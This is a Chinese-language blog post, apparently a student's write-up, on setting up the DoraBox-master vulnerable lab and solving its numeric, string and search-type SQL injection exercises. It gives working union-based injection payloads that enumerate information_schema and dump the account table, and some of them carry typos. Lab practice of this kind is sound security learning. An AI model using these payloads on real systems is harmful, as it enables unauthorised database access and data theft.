DoraBox-master——SQL注入練習

DoraBox-master環境搭建

今天開始做DoraBox-master的SQL注入練習。DoraBox-master的搭建和通關都要比sqlimaster簡單一點。
在這裏插入圖片描述
給一份官方下載地址DraBox在GitHub下載

先改好coon.php文件,一般來說紅框框裏都改成root
在這裏插入圖片描述
在使用PHP study搭建的環境之下,在 命令行中進行操作。
先把數據庫文件打開,每個人安裝的位置不一樣,但大致是cd 每個地方下面的\phpstudy_pro\Extensions\MySQL5.7.26\bin,再依次輸入:dmysql -u root -p,要求輸入數據庫密碼,一般來說都是root,之後進入數據庫操作界面。
因爲在DoraBox-master的文件中sql文件是pentest.sql
在這裏插入圖片描述
所以我們在phpstudy中建的數據庫名字也是pentest。創建數據庫create database pentest;,查看數據庫show databases;
在這裏插入圖片描述
然後進入數據庫,use pentest;
在這裏插入圖片描述
導入數據庫文件source D:\phpstudy_pro\WWW\DoraBox-master\pentest.sql,一串OK之後就能使用了。
測試一下隨便一個題,有輸入有反饋就成功了。

SQLi數字型

真是十分簡潔(lou)的頁面啊
在這裏插入圖片描述
因爲是數字型就一個個試,先來一個1
在這裏插入圖片描述
多半都是沒結果的,但至少證明搭好了能用。
先判斷字段,1 order by 1(n),n++。當n = 4時報錯,說明字段數爲3.
在這裏插入圖片描述
然後構造注入語句-1 union select 1, 2, 3
在這裏插入圖片描述
看到是有顯示的,就在這裏插入注入語句。
-1 union select 1,concat(user(),'|',database()),3
在這裏插入圖片描述
數據庫時pentest,開始爆表-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
在這裏插入圖片描述
表名確定了再爆列-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema='account'
在這裏插入圖片描述
已知表和列,可構造查詢字段內容
-1 UNION SELECT 1,2,concat_ws('|',id,rest,own) from account
在這裏插入圖片描述
兩個表可以都暴一下,第二個news爆出來是0 union select 1, 2, (select group_concat(id,title,content) from pentest.news)
在這裏插入圖片描述

字符型

字符型與數字型的區別在於變量是否用單引號包裹,當不閉合單引號時,沒有查詢結果。閉合單引號a' or '1'='1後,成功執行語句。

在這裏插入圖片描述
還是測試字段,到n=4時報錯,則三個字段a' order by 4#
在這裏插入圖片描述
之後就和數字型一樣,注入DoraBox' and '1'='2' union select 1,2,3'
在這裏插入圖片描述
爆庫
在這裏插入圖片描述
爆表
a' and '1'='2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest
在這裏插入圖片描述
爆列。。。
a' and '1'='2' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='acctount'#

搜索型

搜索型包含單引號和百分號,都開閉合
a' or 1=1--一定要記得–後面有一個空格
在這裏插入圖片描述
a' order by n--,依舊是當n=4時報錯,三個字段
注入
在這裏插入圖片描述
之後就一樣了
-a' union select 1,2,concat_ws(0x3a,database(),user())--在這裏插入圖片描述
-a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'--
在這裏插入圖片描述
-a' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='account' --
在這裏插入圖片描述
-a' UNION SELECT 1,2,concat_ws('--',id,rest,own) from account--
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章